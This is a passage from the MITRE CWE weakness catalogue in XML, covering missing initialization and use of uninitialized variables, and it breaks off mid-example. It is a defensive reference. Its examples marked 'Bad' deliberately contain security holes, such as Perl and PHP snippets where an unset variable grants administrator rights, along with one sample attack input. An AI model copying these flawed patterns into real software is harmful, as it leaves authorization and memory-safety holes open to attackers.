            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Note>The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-54">
               <Intro_Text>The following code intends to limit certain operations to the administrator only.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$username = GetCurrentUser();<xhtml:br/>$state = GetStateData($username);<xhtml:br/>if (defined($state)) {<xhtml:div style="margin-left:1em;">$uid = ExtractUserID($state);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># do stuff</xhtml:i>
                     <xhtml:br/>if ($uid == 0) {<xhtml:div style="margin-left:1em;">DoAdminThings();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1345</Reference>
               <Description>Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1345</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Non-exit on Failed Initialization</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied. These issues are not frequently reported, and it is difficult to find published examples.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="456" Name="Missing Initialization of a Variable" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not initialize critical variables, which causes the execution environment to use unexpected values.</Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="909" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1340" Ordinal="Primary"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="89" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="120" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="98" View_ID="1000"/>
             <Related_Weakness Nature="CanPrecede" CWE_ID="457" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
               <Note>The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check that critical variables are initialized.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a static analysis tool to spot non-initialized variables.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This function attempts to extract a pair of numbers from a user-supplied string.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void parse_data(char *untrusted_input){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int m, n, error;<xhtml:br/>error = sscanf(untrusted_input, "%d:%d", &amp;m, &amp;n);<xhtml:br/>if ( EOF == error ){<xhtml:div style="margin-left:1em;">die("Did not specify integer value. Die evil hacker!\n");</xhtml:div>}<xhtml:br/>
                           <xhtml:i>/* proceed assuming n and m are initialized correctly */</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>123:</xhtml:div>
               </Example_Code>
               <Body_Text>then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private User user;<xhtml:br/>public void someMethod() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Do something interesting.</xhtml:i>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// Throws NPE if user hasn't been properly initialized.</xhtml:i>
                           <xhtml:br/>String username = user.getName();</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code first authenticates a user, then allows a delete command if the user is an administrator.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>if (authenticate($username,$password) &amp;&amp; setAdmin($username)){<xhtml:div style="margin-left:1em;">$isAdmin = true;</xhtml:div>}<xhtml:br/>
                     <xhtml:i>/.../</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>if ($isAdmin){<xhtml:div style="margin-left:1em;">deleteUser($userToDelete);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BankManager {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// user allowed to perform bank manager tasks</xhtml:i>
                           <xhtml:br/>private User user = null;<xhtml:br/>private boolean isUserAuthentic = false;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankManager class</xhtml:i>
                           <xhtml:br/>public BankManager() {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// retrieve user from database of users</xhtml:i>
                           <xhtml:br/>public User getUserFromUserDatabase(String username){<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// set user variable using username</xhtml:i>
                           <xhtml:br/>public void setUser(String username) {<xhtml:div style="margin-left:1em;">this.user = getUserFromUserDatabase(username);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// authenticate user</xhtml:i>
                           <xhtml:br/>public boolean authenticateUser(String username, String password) {<xhtml:div style="margin-left:1em;">if (username.equals(user.getUsername()) &amp;&amp; password.equals(user.getPassword())) {<xhtml:div style="margin-left:1em;">isUserAuthentic = true;</xhtml:div>}<xhtml:br/>return isUserAuthentic;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// methods for performing bank manager tasks</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class BankManager {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// user allowed to perform bank manager tasks</xhtml:i>
                           <xhtml:br/>private User user = null;<xhtml:br/>private boolean isUserAuthentic = false;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankManager class</xhtml:i>
                           <xhtml:br/>public BankManager(String username) {<xhtml:div style="margin-left:1em;">user = getUserFromUserDatabase(username);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// retrieve user from database of users</xhtml:i>
                           <xhtml:br/>public User getUserFromUserDatabase(String username) {...}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// authenticate user</xhtml:i>
                           <xhtml:br/>public boolean authenticateUser(String username, String password) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (user == null) {<xhtml:div style="margin-left:1em;">System.out.println("Cannot find user " + username);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">if (password.equals(user.getPassword())) {<xhtml:div style="margin-left:1em;">isUserAuthentic = true;</xhtml:div>}</xhtml:div>}<xhtml:br/>return isUserAuthentic;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// methods for performing bank manager tasks</xhtml:i>
                                 <xhtml:br/>...</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
			<Demonstrative_Example Demonstrative_Example_ID="DX-144">
			  <Intro_Text>This example will leave test_string in an
			  unknown condition when i is the same value as err_val,
			  because test_string is not initialized
			  (CWE-456). Depending on where this code segment appears
			  (e.g. within a function body), test_string might be
			  random if it is stored on the heap or stack. If the
			  variable is declared in static memory, it might be zero
			  or NULL. Compiler optimization might contribute to the
			  unpredictability of this address.</Intro_Text>
			  <Example_Code Nature="Bad" Language="C">
                char *test_string;<xhtml:br/>
                if (i != err_val)<xhtml:br/>
                {<xhtml:br/>
                <xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
                }<xhtml:br/>
                printf("%s", test_string);
              </Example_Code>
              <Body_Text><xhtml:p>When the printf() is reached,
              test_string might be an unexpected address, so the
              printf might print junk strings (CWE-457).</xhtml:p>
			  <xhtml:p>
			  To fix this code, there are a couple approaches to
			  making sure that test_string has been properly set once
			  it reaches the printf().</xhtml:p>
			  <xhtml:p>One solution would be to set test_string to an
			  acceptable default before the conditional:</xhtml:p>
			  </Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string = "Done at the beginning";<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			  <Body_Text>Another solution is to ensure that each
			  branch of the conditional - including the default/else
			  branch - could ensure that test_string is set:</Body_Text>
			  <Example_Code Nature="Good" Language="C">
				char *test_string;<xhtml:br/>
				if (i != err_val)<xhtml:br/>
				{<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Hello World!";</xhtml:div>
				}<xhtml:br/>
				else {<xhtml:br/>
				<xhtml:div style="margin-left:1em;">test_string = "Done on the other side!";</xhtml:div>
				}<xhtml:br/>
				printf("%s", test_string);
			  </Example_Code>
			</Demonstrative_Example>
		  </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-6078</Reference>
               <Description>Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-6078</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2009-2692</Reference>
	     <Description>Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2009-2692</Link>
	   </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2020-20739</Reference>
	     <Description>A variable that has its value set in a conditional statement is sometimes used when the conditional fails, sometimes causing data leakage</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2020-20739</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2978</Reference>
               <Description>Product uses uninitialized variables for size and index, leading to resultant buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2978</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2109</Reference>
               <Description>Internal variable in PHP application is not initialized, allowing external modification.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2193</Reference>
               <Description>Array variable not initialized in PHP application, leading to resultant SQL injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2193</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Initialization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR30-C</Entry_ID>
               <Entry_Name>Set errno to zero before calling a library function known to set errno,  and check errno only after the function returns a value indicating failure</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>DCL04-PL</Entry_ID>
               <Entry_Name>Always initialize local variables</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>DCL33-PL</Entry_ID>
               <Entry_Name>Declare identifiers before using them</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-456</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-456</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Variable Initialization&#34;, Page 312"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-456"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-456"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.</Note>
            <Note Type="Research Gap">It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-02-21">Missing Initialization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="457" Name="Use of Uninitialized Variable" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code uses a variable that has not been initialized, leading to unpredictable or unintended results.</Description>
         <Extended_Description>In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="908" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
            <Language Name="Perl" Prevalence="Often"/>
            <Language Name="PHP" Prevalence="Often"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>In C, using an uninitialized char * in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.</Note>
            </Consequence>
            <Consequence>
               <Scope>Authorization</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Assign all variables to an initial value.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Most compilers will complain about the use of uninitialized variables if warnings are turned on.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>Operation</Phase>
               <Description>When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>The choice could be made to use a language that is not susceptible to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Mitigating technologies such as safe string libraries and container abstractions could be introduced.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code prints a greeting using information stored in a POST request:</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>if (isset($_POST['names'])) {<xhtml:div style="margin-left:1em;">$nameArray = $_POST['names'];</xhtml:div>}<xhtml:br/>echo "Hello " . $nameArray['first'];</xhtml:div>
               </Example_Code>
               <Body_Text>This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following switch statement is intended to set the values of the variables aN and bN before they are used:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int aN, Bn;<xhtml:br/>switch (ctl) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>case -1:<xhtml:div style="margin-left:1em;">aN = 0;<xhtml:br/>bN = 0;<xhtml:br/>break;</xhtml:div>
                           <xhtml:br/>case 0:<xhtml:div style="margin-left:1em;">aN = i;<xhtml:br/>bN = -i;<xhtml:br/>break;</xhtml:div>
                           <xhtml:br/>case 1:<xhtml:div style="margin-left:1em;">aN = i + NEXT_SZ;<xhtml:br/>bN = i - NEXT_SZ;<xhtml:br/>break;</xhtml:div>
